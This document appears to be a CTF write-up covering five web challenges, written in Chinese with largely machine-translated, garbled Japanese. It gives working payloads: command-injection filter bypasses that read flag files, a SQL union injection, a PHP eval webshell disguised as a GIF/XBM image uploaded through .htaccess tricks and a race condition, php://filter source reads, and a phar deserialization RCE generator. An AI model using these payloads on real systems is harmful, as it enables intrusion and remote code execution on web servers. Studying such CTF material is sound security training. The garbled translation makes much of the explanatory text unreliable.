0x01のピングピングピング
明らかに、コマンドインジェクションが、我々はパイプ記号を使用して|
、我々が望んでいたコマンドを実行するために
フィルタリングするためのスペースを、のようなバイパススペースに多くの方法があり、
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
ここでろ過ので{ }
、その他の特殊記号、ヴォーンが使う$IFS$9
ことを
ここにこれらの文字が表示されるように取付けることができないフラグを濾過し、f\l\a\g
[OK]を、ここではコマンドスプライスされた形態を使用していないが、a=f;b=l;c=g;d=a;echo $a$b$d$c;
スプライスできるflag
の数文字
の最後をペイロード
0x02のBabySQli
単純なMD5注入
base32エンコーディングの文字列は、我々まずbase32デコードbase64でデコードされ、再び一度、取得select * from user where username = '$name'
、タイトルは、MD5暗号化を使用することを示唆している、と3はテストしているので、我々は、ユーザー名、パスワード3列目として、第2は、これは次であり得ることを推測するベンチャー企業試してみる隣~~
ペイロード:
0' union select 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'-- -&pw=1
データベースは、データを使用する私たちの労働組合のユーザ名、見つけることができないとき、そのうちの最初のものは、0でなければならないc4ca4238a0b923820dcc509a6f75849b
です1
MD5値を
0x03のBabyUpload
アップロードインターフェース、古いルーチンで、通常のように写真をアップロードする1 ~~
私は一般的に絵のように馬を使用します
GIF89a
#define test_width 16
#define test_height 7
<script language="php"> eval($_POST[xxx]); </script>
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
この形式は、PNG画像の両方を含んでも含まxbmp
も使用されるフォーマット、PHP <script language="php">
シャトルを容易にするために~~
私たちは、馬の私達のアップロード写真を訪れ、しかし~~解決できませんでした
、一般的に、我々は唯一の良い十分に持っている馬を有効にする絵を作るLFI
、場所を私たちがアップロードしようとすることができますので、この質問は、していない.htaccess
私たちの写真を解決するために~~
ヒントタイプあまりにも明示的に
それを変更するには、私たちの必要性Content-Type
、ライン上の変化画像/ JPEG〜
我们访问试试~~
显示访问不了,明显删除了,所以莫法解析我们的图片,这儿可以使用条件竞争,一直上传.htaccess
和图片,然后就可以解析了~~
然后执行命令~~
0x04 BabysqliV3.0
看似是一道sql注入的题目,但是试了很多次就没结果,最后直接爆破,得到账号密码为admin password
爆破是安全的最基本操作,以后看见登录框管他三七二十一先爆破一下再说~~
我们登录一下,直接跳转到了一个文件上传界面~~
当初看见有个参数file
的时候还以为是上传图片马然后直接再包含呢 ~~
其实没这么简单~~
随便上传一个文件就会显示上传的地址和文件的内容
但是所有文件都会被加一个txt
的后缀,即变成一个文本文件~~
所以上传的套路都失效了,我们只有另寻他法~~
我们试试可不可以使用伪协议读取文件内容~~
直接读出了源码~~
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>
我们先简要分析分析一下这段代码,我们可以上传一个文件,但是这个文件的大小有限制,这个没有什么影响,最主要的是这一句代码echo file_get_contents($uploader);
,$uploader
是一个类,所以echo file_get_contents($uploader);
会触发__toString()
,而__toString()
返回的是Filename;
,通过代码我们知道Filename;
我们可控,通过传参isset($_GET['name']
,但是参数name有一定的限制~~
!preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])
这儿过滤了data://
;filter://
;php://
;.
,但是出题人多大了一个空格,所以相当于没过滤这几个关键词,所以这儿就产生了非预期解~~
非预期解1
payload:
&name=flag.php
&name=php://filter/read=convert.base64-encode/resource=flag.php
然后任意上传一个文件就可以得到flag,但是此方法只能使用一次~~
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
私たちは、ファイルのアップロードを選択しますが、コンテンツはすぐに、一定の時間遅延が発生します、最大アップロードされませんecho file_get_contents($uploader);
。この時間は、元flag.phpを読みますが、すぐにではないと言うことですつまり覆盖掉flag.php
、私たちは何を証明するために
、我々はアップロードしcacl.py
たファイルを、の内容
我々はすぐにではなく、我々がアップロード何よりも、flag.phpの内容を取得することができます~~
我々は~~別のファイルをアップロードし続ける
私たちの最後のアップロードファイルの内容の表示内容~~
2つのペイロードはフラグを得ることができますが、一度だけ使用することができます~~
学生は、依頼する必要があるかもしれない、それを実行するための条件ではないでしょうか?
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
私たちは本当にcmdを実行する必要があり$this->token != $_SESSION['user']
、これが設定されている可能性が$this->token == $_SESSION['user']
アップしますが、コードはそれに権利がない、この問題に限ら予想の解決のためです~~
それは時にデシリアライズのpharがリセットされますので、$this->token
予期しない解決策2
唯一のフィルタリング以来、私たちは、直接、トロイの木馬文をアップロードすることができる空格+.
コンテンツが私たちにアップロード
<script language="php"> eval($_POST[xxx]); </script>
この時点で、ノーリターンのコンテンツがありません、我々は非溶液1を、それはそれをクリアする特定の遅延をアップロードするには、この時間を作ったが、上がったアップロードされている期待し、我々はそれが訪問するために行ってきました
簡単にフラグを取得します~~
予想ソリューション
課題を解決するための解決策が期待さを検査するphar反序列化RCE
file_get_contents()
こと$uploader
を介してオブジェクト__toString()
リターン$this->Filename
するので、phar://
擬似プロトコルは依存しないかもしれないunserialize()
と相まって直接デシリアライズ、$this->Filename
そうここで、制御を$this->Filename
、デシリアライゼーション後のPharと__destruct()
方法eval($this->cmd);
遠隔コード実行をもたらします
ここにあります$_SESSION['user']
直接ペイロードを考えます:
<?php
class Uploader
{
public $Filename;
public $cmd;
public $token;
}
$o=new Uploader();
$o->cmd='highlight_file("/var/www/html/flag.php");'; #这儿一定要注意cmd是一句完整的php语句,一定要要加英语分号~~
$o->Filename='test';
$o->token='GXYcb5ae520cb58019b754969f1572f6b6e';
echo serialize($o);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
次に、アップロードのPhar
GETフラグ
0x05のStrongestMind
この質問は、共通の爬虫類は、式をクロールして、千倍に答えを入力している
ペイロード:
from requests import *
import re
s = session()
a = s.get("http://172.21.4.12:10044/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
for i in range(1000):
pattern = re.findall(r'\d+.[+-].\d+', a.text)
c = eval(pattern[0])
print(c)
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
print(a.text)
フラグを取得します。